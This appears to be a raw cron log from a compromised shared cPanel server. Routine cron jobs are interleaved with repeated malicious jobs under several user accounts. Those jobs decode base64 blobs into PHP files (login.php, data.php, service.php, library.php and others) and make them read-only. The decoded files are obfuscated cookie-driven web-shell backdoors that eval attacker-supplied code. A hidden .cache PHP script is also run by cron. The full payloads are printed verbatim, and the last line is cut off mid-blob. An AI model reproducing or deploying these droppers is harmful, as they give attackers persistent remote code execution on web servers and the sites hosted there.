Mar  1 05:05:02 medusa CROND[22357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:05:02 medusa CROND[22358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:05:02 medusa CROND[22359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:05:02 medusa CROND[22363]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:05:02 medusa CROND[22365]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:05:02 medusa CROND[22361]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:05:02 medusa CROND[22341]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 05:05:02 medusa CROND[22345]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:05:02 medusa CROND[22344]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 05:06:01 medusa CROND[14597]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:06:01 medusa CROND[14702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:06:01 medusa CROND[14731]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:06:01 medusa CROND[14732]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:06:01 medusa CROND[14733]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:06:01 medusa CROND[14734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:06:01 medusa CROND[14736]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:06:01 medusa CROND[14737]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:06:01 medusa CROND[14738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:06:01 medusa CROND[14741]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:06:01 medusa CROND[14743]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:06:01 medusa CROND[14751]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:06:01 medusa CROND[14752]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:06:01 medusa CROND[14753]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:06:01 medusa CROND[14760]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:07:01 medusa CROND[6628]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:07:01 medusa CROND[6730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:07:01 medusa CROND[6731]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:07:01 medusa CROND[6732]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:07:01 medusa CROND[6736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:07:01 medusa CROND[6739]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:07:01 medusa CROND[6740]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:07:01 medusa CROND[6735]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:07:01 medusa CROND[6741]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:07:01 medusa CROND[6742]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpz